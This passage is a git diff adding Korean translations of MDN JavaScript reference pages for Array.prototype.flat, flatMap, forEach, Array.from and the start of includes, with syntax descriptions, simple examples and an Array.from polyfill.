+ <td>{{SpecName('ESDraft', '#sec-array.prototype.flat', 'Array.prototype.flat')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.flat")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flatMap()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/flatmap/index.html b/files/ko/web/javascript/reference/global_objects/array/flatmap/index.html
new file mode 100644
index 0000000000..9d762001e8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/flatmap/index.html
@@ -0,0 +1,148 @@
+---
+title: Array.prototype.flatMap()
+slug: Web/JavaScript/Reference/Global_Objects/Array/flatMap
+tags:
+ - Array
+ - Experimental
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flatMap
+---
+<div>{{JSRef}} {{SeeCompatTable}}</div>
+
+<p><code><strong>flatMap()</strong></code> 메서드는 먼저 매핑함수를 사용해 각 엘리먼트에 대해 map 수행 후, 결과를 새로운 배열로 평탄화합니다. 이는 깊이 1의 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/flat">flat</a> 이 뒤따르는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> 과 동일하지만, <code>flatMap</code> 은 아주 유용하며 둘을 하나의 메소드로 병합할 때 조금 더 효율적입니다.</p>
+
+<p class="hidden">\{{EmbedInteractiveExample("pages/js/array-flatmap.html")}}</p>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.flatMap(<var>callback(currentValue[, index[, array]])</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>새로운 배열의 엘리먼트를 생성하는 함수. 3개의 아규먼트를 갖습니다.
+ <dl>
+ <dt></dt>
+ <dt><code>currentValue</code></dt>
+ <dd>배열에서 처리되는 현재 엘리먼트.</dd>
+ <dt><code>index</code>{{optional_inline}}</dt>
+ <dd>배열에서 처리되고 있는 현재 엘리먼트의 인덱스.</dd>
+ <dt><code>array</code>{{optional_inline}}</dt>
+ <dd><code>map</code> 이 호출된 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{optional_inline}}</dt>
+ <dd><code>callback</code> 실행에서 <code>this</code> 로 사용할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>각 엘리먼트가 callback 함수의 결과이고, 깊이 1로 평탄화된 새로운 배열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p>callback 함수의 상세 설명은 {{jsxref("Array.prototype.map()")}} 문서를 보시기 바랍니다. <code>flatMap</code> 메소드는 깊이 1의 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/flat">flat</a></code> 이 뒤따르는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a></code> 과 동일합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="map_과_flatMap"><code>map</code> 과 <code>flatMap</code></h3>
+
+<pre class="brush: js">let arr1 = <span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>[</span></span><span class="constant decimal js numeric"><span>1</span></span><span class="comma delimiter js meta object"><span>,</span></span><span> </span><span class="brace js meta square"><span>2, 3, 4];
+
+arr1.map(</span></span></span></span></span>x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);</span></span></span></span></span>
+// [[2], [4], [6], [8]]
+
+arr1.flatMap(x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);
+// [2, 4, 6, 8]</span></span></span></span></span>
+
+// 한 레벨만 평탄화됨
+arr1.flatMap(x =&gt; [[x * 2]]);
+// [[2], [4], [6], [8]]
+</pre>
+
+<p>위 코드는 map 자체만을 사용해서 구현할 수 있지만, 다음은 <code>flatMap</code> 의 유즈케이스를 더 잘 보여주는 예시입니다.</p>
+
+<p>문장의 리스트로부터 단어의 리스트를 생성해봅시다.</p>
+
+<pre class="brush: js">let arr1 = ["it's Sunny in", "", "California"];
+
+arr1.map(x=&gt;x.split(" "));
+// [["it's","Sunny","in"],[""],["California"]]
+
+arr1.flatMap(x =&gt; x.split(" ")<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);
+// ["it's","Sunny","in","California"]</span></span></span></span></span></pre>
+
+<p>출력 리스트의 길이는 입력 리스트의 길이와 다를 수 있습니다.</p>
+
+<h3 id="flatMap_을_이용한_아이템_추가_및_제거"><code>flatMap()</code> 을 이용한 아이템 추가 및 제거</h3>
+
+<p><code>flatMap</code>은 <code>map</code>을 하는 과정에서 아이템을 추가하거나 제거하여 아이템 개수를 바꿀 수 있습니다. 다른 말로는 각각의 아이템에 대하여 1:1대응관계 뿐만 아니라 다대다 대응도 가능하다는 것입니다. 이러한 측면에서 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/filter">filter</a>가 하는 역할의 반대역할을 한다고 볼 수 있습니다. 단순히 아무런 변화를 주고 싶지 않을때에는 원소 하나를 가진 배열을 반환할 수도, 아이템을 추가하고 싶을 때는 다-원소 배열을 반환할 수도, 아이템을 제거하고 싶을 때에는 빈 배열을 반환할 수도 있습니다.</p>
+
+<pre><code>// 다음은 음수는 제거하고 홀수는 1과 짝수로 분리하는 예시입니다.
+let a = [5, 4, -3, 20, 17, -33, -4, 18]
+// |\ \ x | | \ x x |
+// [4,1, 4, 20, 16, 1, 18]
+
+a.flatMap( (n) =&gt;
+ (n &lt; 0) ? [] :
+ (n % 2 == 0) ? [n] :
+ [n-1, 1]
+)
+
+// expected output: [4, 1, 4, 20, 16, 1, 18]</code></pre>
+
+<div class="line"><span class="js source"><span class="comment double-slash js line"><span class="comment definition js punctuation"><span>//</span></span><span>=&gt; [1, 2, 3, 4, 5, 6, 7, 8, 9]</span></span></span></div>
+
+<h2 id="대안">대안</h2>
+
+<h3 id="reduce_와_concat"><code>reduce</code> 와 <code>concat</code></h3>
+
+<pre class="brush: js">var arr1 = <span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>[</span></span><span class="constant decimal js numeric"><span>1</span></span><span class="comma delimiter js meta object"><span>,</span></span><span> </span><span class="brace js meta square"><span>2, 3, 4];
+</span></span></span></span></span>
+arr1.flatMap(x =&gt; [x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>);</span></span></span></span></span>
+// 다음과 동일합니다
+arr1.reduce((acc, x) =&gt; acc.concat([x * 2]<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>), []);</span></span></span></span></span>
+<span class="js source"><span class="function-call js meta"><span class="js meta"><span class="brace js meta square"><span>// [2, 4, 6, 8]</span></span></span></span></span>
+</pre>
+
+<div class="line"><span class="js source"><span class="comment double-slash js line"><span class="comment definition js punctuation"><span>//</span></span><span>=&gt; [1, 2, 3, 4, 5, 6, 7, 8, 9]</span></span></span></div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td><a href="https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap"><code>Array.prototype.flatMap</code> proposal</a></td>
+ <td>Finished (4)</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.flatMap")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flat()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/foreach/index.html b/files/ko/web/javascript/reference/global_objects/array/foreach/index.html
new file mode 100644
index 0000000000..809bc4d269
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/foreach/index.html
@@ -0,0 +1,264 @@
+---
+title: Array.prototype.forEach()
+slug: Web/JavaScript/Reference/Global_Objects/Array/forEach
+tags:
+ - Array
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Prototype
+ - Referennce
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>forEach()</strong></code> 메서드는 주어진 함수를 배열 요소 각각에 대해 실행합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-foreach.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.forEach(<var>callback(currentvalue[, index[, array]])</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각 요소에 대해 실행할 함수. 다음 세 가지 매개변수를 받습니다.</dd>
+ <dd>
+ <dl>
+ <dt><code>currentValue</code></dt>
+ <dd>처리할 현재 요소.</dd>
+ <dt><code>index</code> {{optional_inline}}</dt>
+ <dd>처리할 현재 요소의 인덱스.</dd>
+ <dt><code>array</code> {{optional_inline}}</dt>
+ <dd><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">forEach()</span></font>를 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code> {{optional_inline}}</dt>
+ <dd><code>callback</code>을 실행할 때 <code>this</code>로 사용할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>forEach()</code>는 주어진 <code>callback</code>을 배열에 있는 각 요소에 대해 오름차순으로 한 번씩 실행합니다. 삭제했거나 초기화하지 않은 인덱스 속성에 대해서는 실행하지 않습니다. (예: 희소 배열)</p>
+
+<p><code>callback</code>은 다음 세 인수와 함께 호출됩니다.</p>
+
+<ul>
+ <li><strong>요소 값</strong></li>
+ <li><strong>요소 인덱스</strong></li>
+ <li><strong>순회 중인 배열</strong></li>
+</ul>
+
+<p><code>thisArg</code> 매개변수를 <code>forEach()</code>에 제공한 경우 <code>callback</code>을 호출할 때 전달해 <code>this</code>의 값으로 쓰입니다. 전달하지 않으면 <code>undefined</code>를 사용하며, 최종 <code>this</code> 값은 {{jsxref("Operators/this", "함수의 <code>this</code>를 결정하는 평소 규칙", "", 0)}}을 따릅니다.</p>
+
+<p><code>forEach()</code>로 처리할 요소의 범위는 최초 <code>callback</code> 호출 전에 설정됩니다. <code>forEach()</code> 호출을 시작한 뒤 배열에 추가한 요소는 <code>callback</code>이 방문하지 않습니다. 배열의 기존 요소값이 바뀐 경우, <code>callback</code>에 전달하는 값은 <code>forEach()</code>가 요소를 방문한 시점의 값을 사용합니다. 방문하기 전에 삭제한 요소는 방문하지 않습니다.</p>
+
+<p><code>forEach()</code>는 각 배열 요소에 대해 한 번씩 <code>callback</code> 함수를 실행합니다. {{jsxref("Array.prototype.map()", "map()")}}과 {{jsxref("Array.prototype.reduce()", "reduce()")}}와는 달리 {{jsxref("undefined")}}를 반환하기 때문에 메서드 체인의 중간에 사용할 수 없습니다. 대표적인 사용처는 메서드 체인 끝에서 부작용<sup>side effect</sup>을 실행하는 겁니다.</p>
+
+<p><code>forEach()</code>는 배열을 변형하지 않습니다. 그러나 <code>callback</code>이 변형할 수는 있습니다.</p>
+
+<div class="note">
+<p>예외를 던지지 않고는 <code>forEach()</code>를 중간에 멈출 수 없습니다. 중간에 멈춰야 한다면 <code>forEach()</code>가 적절한 방법이 아닐지도 모릅니다.</p>
+
+<p>다음 방법으로는 조기에 반복을 종료할 수 있습니다.</p>
+
+<ul>
+ <li>간단한 <a href="/ko/docs/Web/JavaScript/Reference/Statements/for">for</a> 반복문</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a>, <a href="/ko/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a> 반복문</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+</ul>
+
+<p>다른 배열 메서드 {{jsxref("Array.prototype.every()", "every()")}}, {{jsxref("Array.prototype.some()", "some()")}}, {{jsxref("Array.prototype.find()", "find()")}}, {{jsxref("Array.prototype.findIndex()", "findIndex()")}}는 배열 요소를 판별 함수에 전달하고, 그 결과의 참/거짓 여부에 따라 반복의 종료 여부를 결정합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="초기화하지_않은_값의_반복_생략">초기화하지 않은 값의 반복 생략</h3>
+
+<pre class="brush: js">const arraySparse = [1,3,,7]
+let numCallbackRuns = 0
+
+arraySparse.forEach(function(element){
+ console.log(element)
+ numCallbackRuns++
+})
+
+console.log("numCallbackRuns: ", numCallbackRuns)
+
+// 1
+// 3
+// 7
+// numCallbackRuns: 3
+// comment: as you can see the missing value between 3 and 7 didn't invoke callback function.</pre>
+
+<h3 id="for_반복문을_forEach로_바꾸기"><code>for</code> 반복문을 <code>forEach()</code>로 바꾸기</h3>
+
+<pre class="brush: js">const items = ['item1', 'item2', 'item3'];
+const copy = [];
+
+// 이전
+for (let i=0; i&lt;items.length; i++) {
+ copy.push(items[i]);
+}
+
+// 이후
+items.forEach(function(item){
+ copy.push(item);
+});</pre>
+
+<h3 id="배열_콘텐츠_출력">배열 콘텐츠 출력</h3>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> {{domxref("console.table()")}}을 사용하면 배열 내용물을 서식에 맞춰 출력할 수 있습니다.</p>
+
+<p>다음 예제는 <code>forEach()</code>를 사용한 다른 방법을 소개합니다.</p>
+</div>
+
+<p>다음 코드는 배열의 각 요소에 대해 한 줄을 기록합니다:</p>
+
+<pre class="brush:js">function logArrayElements(element, index, array) {
+ console.log('a[' + index + '] = ' + element);
+}
+
+// 인덱스 2는 배열의 그 위치에 항목이 없기에
+// 건너뜀을 주의하세요.
+[2, 5, , 9].forEach(logArrayElements);
+// 기록:
+// a[0] = 2
+// a[1] = 5
+// a[3] = 9
+</pre>
+
+<h3 id="thisArg_사용"><code>thisArg</code> 사용</h3>
+
+<p>다음 예제는 배열의 각 항목에서 객체의 속성을 갱신합니다:</p>
+
+<pre class="brush:js">function Counter() {
+ this.sum = 0
+ this.count = 0
+}
+Counter.prototype.add = function(array) {
+ array.forEach(function(entry) {
+ this.sum += entry
+ ++this.count
+ }, this)
+ // ^---- 주의
+}
+
+const obj = new Counter()
+obj.add([2, 5, 9])
+obj.count
+// 3
+obj.sum
+// 16</pre>
+
+<p><code>thisArg</code> 매개변수(<code>this</code>)를 <code>forEach()</code>에 제공했기에, <code>callback</code>은 전달받은 <code>this</code>의 값을 자신의 <code>this</code> 값으로 사용할 수 있습니다. </p>
+
+<div class="note">
+<p><a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션">화살표 함수 표현식</a>을 사용하여 함수 인수를 전달하는 경우 <code>thisArg</code> 매개변수는 화살표 함수가 {{jsxref("Operators/this", "this")}} 값을 렉시컬(lexical, 정적) 바인딩하기에 생략될 수 있습니다.</p>
+</div>
+
+<h3 id="객체_복사_함수">객체 복사 함수</h3>
+
+<p>다음 코드는 주어진 객체의 사본을 만듭니다.</p>
+
+<p>객체 사본을 만드는 방법에는 여러가지가 있습니다, 다음은 그 중 한 방법으로, ECMAScript 5 <code>Object.*</code> 메타 속성 함수를 사용하여 <code>Array.prototype.forEach()</code>가 작동하는 법을 설명하기 위한 코드입니다.</p>
+
+<pre class="brush: js">function copy(obj) {
+ const copy = Object.create(Object.getPrototypeOf(obj))
+ const propNames = Object.getOwnPropertyNames(obj)
+
+ propNames.forEach(function(name) {
+ const desc = Object.getOwnPropertyDescriptor(obj, name)
+ Object.defineProperty(copy, name, desc)
+ })
+
+ return copy
+}
+
+const obj1 = { a: 1, b: 2 }
+const obj2 = copy(obj1) // obj2 looks like obj1 now</pre>
+
+<h3 id="반복_중_배열이_변경으로_인한_반복_생략">반복 중 배열이 변경으로 인한 반복 생략</h3>
+
+<p>다음 예제에서는 <code>"one"</code>, <code>"two"</code>, <code>"four"</code>를 기록합니다.</p>
+
+<p><code>forEach()</code>가 값 <code>"two"</code>를 포함하는 항목에 도달하면 전체 배열의 첫 번째 항목을 제거하여, 나머지 모든 항목이 한 위치 앞으로 이동합니다. 요소 <code>"four"</code>는 이제 배열에서 보다 앞에 위치하므로 <code>"three"</code>는 건너 뜁니다.</p>
+
+<p><code>forEach()</code>는 반복 전에 배열의 복사본을 만들지 않습니다.</p>
+
+<pre class="brush:js">let words = ['one', 'two', 'three', 'four']
+words.forEach(function(word) {
+ console.log(word)
+ if (word === 'two') {
+ words.shift()
+ }
+})
+// one
+// two
+// four</pre>
+
+<h3 id="배열_평탄화">배열 평탄화</h3>
+
+<p>다음 예제는 오직 시연 용으로만 추가한 것으로, 평탄화를 하려면 {{jsxref("Array.prototype.flat()")}}을 사용하세요.</p>
+
+<pre class="brush: js">function flatten(arr) {
+ const result = []
+
+ arr.forEach((i) =&gt; {
+ if (Array.isArray(i)) {
+ result.push(...flatten(i))
+ } else {
+ result.push(i)
+ }
+ })
+
+ return result
+}
+
+// Usage
+const nested = [1, 2, 3, [4, 5, [6, 7], 8, 9]]
+
+flatten(nested) // [1, 2, 3, 4, 5, 6, 7, 8, 9]</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.foreach', 'Array.prototype.forEach')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.forEach")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/from/index.html b/files/ko/web/javascript/reference/global_objects/array/from/index.html
new file mode 100644
index 0000000000..487cc36848
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/from/index.html
@@ -0,0 +1,244 @@
+---
+title: Array.from()
+slug: Web/JavaScript/Reference/Global_Objects/Array/from
+tags:
+ - Array
+ - ECMAScript 2015
+ - JavaScript
+ - Method
+ - Reference
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/from
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Array.from()</strong></code> 메서드는 유사 배열 객체(array-like object)나반복 가능한 객체(iterable object)를 얕게 복사해새로운<code>Array</code> 객체를 만듭니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-from.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">Array.from(<em>arrayLike</em>[, <em>mapFn</em>[, <em>thisArg</em>]])
+</pre>
+
+<h3 id="Parameters" name="Parameters"><span>매개변수</span></h3>
+
+<dl>
+ <dt><code>arrayLike</code></dt>
+ <dd>배열로 변환하고자 하는유사 배열 객체나 반복 가능한 객체.</dd>
+ <dt><code>mapFn</code>{{Optional_inline}}</dt>
+ <dd>배열의 모든 요소에 대해 호출할 맵핑 함수.</dd>
+ <dt><code>thisArg</code>{{Optional_inline}}</dt>
+ <dd><code>mapFn</code> 실행 시에 <code>this</code>로 사용할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{jsxref("Array")}} 인스턴스.</p>
+
+<h2 id="Description" name="Description">설명</h2>
+
+<p>다음과 같은 경우에 <code>Array.from()</code>으로새<code>Array</code>를 만들 수 있습니다.</p>
+
+<ul>
+ <li>유사 배열 객체 (<code>length</code> 속성과 인덱싱된 요소를 가진 객체)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/iterable">순회 가능한 객체</a> ({{jsxref("Map")}}, {{jsxref("Set")}} 등객체의 요소를 얻을 수 있는 객체)</li>
+</ul>
+
+<p><code>Array.from()</code>은 선택 매개변수인 <code>mapFn</code>를 가지는데,배열(혹은 배열 서브클래스)의 각 요소를{{jsxref("Array.prototype.map", "맵핑", "", 0)}}할 때 사용할 수 있습니다. 즉,<code>Array.from(obj, mapFn, thisArg)</code>는 중간에 다른 배열을 생성하지 않는다는 점을 제외하면<code>Array.from(obj).map(mapFn, thisArg)</code>와 같습니다. 이 특징은 <a href="/ko/docs/Web/JavaScript/Typed_arrays">typed arrays</a>와 같은 특정 배열 서브클래스에서 중간 배열 값이 적절한 유형에 맞게 생략되기 때문에 특히 중요합니다.</p>
+
+<p><code>from()</code> 메서드의 <code>length</code> 속성은 1입니다.</p>
+
+<p>ES2015 이후, 클래스 구문은 내장 및 새 클래스의 상속을 가능케 했습니다. 그 결과로 <code>Array.from</code>과 같은 정적 메서드는 <code>Array</code>의 서브클래스에 의해 상속되며, <code>Array</code> 대신 자신의 인스턴스를 만듭니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="String에서_배열_만들기"><code>String</code>에서 배열 만들기</h3>
+
+<pre class="brush: js">Array.from('foo');
+// ["f", "o", "o"]
+</pre>
+
+<h3 id="Set에서_배열_만들기"><code>Set</code>에서 배열 만들기</h3>
+
+<pre class="brush: js">const s = new Set(['foo', window]);
+Array.from(s);
+// ["foo", window]
+</pre>
+
+<h3 id="Map에서_배열_만들기"><code>Map</code>에서 배열 만들기</h3>
+
+<pre class="brush: js">const m = new Map([[1, 2], [2, 4], [4, 8]]);
+Array.from(m);
+// [[1, 2], [2, 4], [4, 8]]
+
+const mapper = new Map([['1', 'a'], ['2', 'b']]);
+Array.from(mapper.values());
+// ['a', 'b'];
+
+Array.from(mapper.keys());
+// ['1', '2'];
+</pre>
+
+<h3 id="배열_형태를_가진_객체(arguments)에서_배열_만들기">배열 형태를 가진 객체(<code>arguments</code>)에서 배열 만들기</h3>
+
+<pre class="brush: js">function f() {
+ return Array.from(arguments);
+}
+
+f(1, 2, 3);
+
+// [1, 2, 3]
+</pre>
+
+<h3 id="Array.from과_화살표_함수_사용하기"><code>Array.from</code>과 화살표 함수 사용하기</h3>
+
+<pre class="brush: js">// Using an arrow function as the map function to
+// manipulate the elements
+Array.from([1, 2, 3], x =&gt; x + x);
+// [2, 4, 6]
+
+// Generate a sequence of numbers
+// Since the array is initialized with `undefined` on each position,
+// the value of `v` below will be `undefined`
+Array.from({length: 5}, (v, i) =&gt; i);
+// [0, 1, 2, 3, 4]
+</pre>
+
+<h3 id="시퀀스_생성기(range)">시퀀스 생성기(range)</h3>
+
+<pre class="brush: js">// Sequence generator function (commonly referred to as "range", e.g. Clojure, PHP etc)
+const range = (start, stop, step) =&gt; Array.from({ length: (stop - start) / step + 1}, (_, i) =&gt; start + (i * step));
+
+// Generate numbers range 0..4
+range(0, 4, 1);
+// [0, 1, 2, 3, 4]
+
+// Generate numbers range 1..10 with step of 2
+range(1, 10, 2);
+// [1, 3, 5, 7, 9]
+
+// Generate the alphabet using Array.from making use of it being ordered as a sequence
+range('A'.charCodeAt(0), 'Z'.charCodeAt(0), 1).map(x =&gt; String.fromCharCode(x));
+// ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code><font face="consolas, Liberation Mono, courier, monospace">Array.from</font></code>은 ECMA-262 표준 제6판에 추가됐습니다.따라서 어떤 표준 구현체에서는 사용할 수없을 수도 있습니다. 다른 모든 코드 이전에 아래 코드를 포함하면 지원하지 않는 플랫폼에서도<code>Array.from</code>을사용할 수 있습니다. 아래 알고리즘은<a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object" title="객체(object) 생성자(constructor)는 객체 레퍼(wrapper)를 생성합니다."><code>Object</code></a>와<a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/TypeError" title="TypeError 객체는 변수의 값이 원하는 타입이 아닐 때 발생하는 에러를 표현합니다."><code>TypeError</code></a>가 변형되지 않고,<code>callback.call</code>의 계산 값이 원래의<a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="call() 메소드는 주어진 this 값 및 각각 전달된 인수와 함께 함수를 호출합니다."><code>Function.prototype.call()</code></a>과 같은 경우ECMA-262 제6판이 명시한 것과 동일합니다.<span style="letter-spacing: -0.00278rem;">또한 반복가능자(iterable)는 완벽하게 폴리필할 수없기에 본 구현은 ECMA-262 제6판의 제네릭 반복가능자를 지원하지 않습니다.</span></p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 6, 22.1.2.1
+if (!Array.from) {
+ Array.from = (function () {
+ var toStr = Object.prototype.toString;
+ var isCallable = function (fn) {
+ return typeof fn === 'function' || toStr.call(fn) === '[object Function]';
+ };
+ var toInteger = function (value) {
+ var number = Number(value);
+ if (isNaN(number)) { return 0; }
+ if (number === 0 || !isFinite(number)) { return number; }
+ return (number &gt; 0 ? 1 : -1) * Math.floor(Math.abs(number));
+ };
+ var maxSafeInteger = Math.pow(2, 53) - 1;
+ var toLength = function (value) {
+ var len = toInteger(value);
+ return Math.min(Math.max(len, 0), maxSafeInteger);
+ };
+
+ // The length property of the from method is 1.
+ return function from(arrayLike/*, mapFn, thisArg */) {
+ // 1. Let C be the this value.
+ var C = this;
+
+ // 2. Let items be ToObject(arrayLike).
+ var items = Object(arrayLike);
+
+ // 3. ReturnIfAbrupt(items).
+ if (arrayLike == null) {
+ throw new TypeError('Array.from requires an array-like object - not null or undefined');
+ }
+
+ // 4. If mapfn is undefined, then let mapping be false.
+ var mapFn = arguments.length &gt; 1 ? arguments[1] : void undefined;
+ var T;
+ if (typeof mapFn !== 'undefined') {
+ // 5. else
+ // 5. a If IsCallable(mapfn) is false, throw a TypeError exception.
+ if (!isCallable(mapFn)) {
+ throw new TypeError('Array.from: when provided, the second argument must be a function');
+ }
+
+ // 5. b. If thisArg was supplied, let T be thisArg; else let T be undefined.
+ if (arguments.length &gt; 2) {
+ T = arguments[2];
+ }
+ }
+
+ // 10. Let lenValue be Get(items, "length").
+ // 11. Let len be ToLength(lenValue).
+ var len = toLength(items.length);
+
+ // 13. If IsConstructor(C) is true, then
+ // 13. a. Let A be the result of calling the [[Construct]] internal method
+ // of C with an argument list containing the single item len.
+ // 14. a. Else, Let A be ArrayCreate(len).
+ var A = isCallable(C) ? Object(new C(len)) : new Array(len);
+
+ // 16. Let k be 0.
+ var k = 0;
+ // 17. Repeat, while k &lt; len… (also steps a - h)
+ var kValue;
+ while (k &lt; len) {
+ kValue = items[k];
+ if (mapFn) {
+ A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k);
+ } else {
+ A[k] = kValue;
+ }
+ k += 1;
+ }
+ // 18. Let putStatus be Put(A, "length", len, true).
+ A.length = len;
+ // 20. Return A.
+ return A;
+ };
+ }());
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.from', 'Array.from')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Array.from")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("TypedArray.from()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/includes/index.html b/files/ko/web/javascript/reference/global_objects/array/includes/index.html
new file mode 100644
index 0000000000..a646fd3bb4
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/includes/index.html
@@ -0,0 +1,173 @@
+---
+title: Array.prototype.includes()
+slug: Web/JavaScript/Reference/Global_Objects/Array/includes
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>includes()</code></strong> 메서드는 배열이 특정 요소를 포함하고 있는지 판별합니다.</p>
+
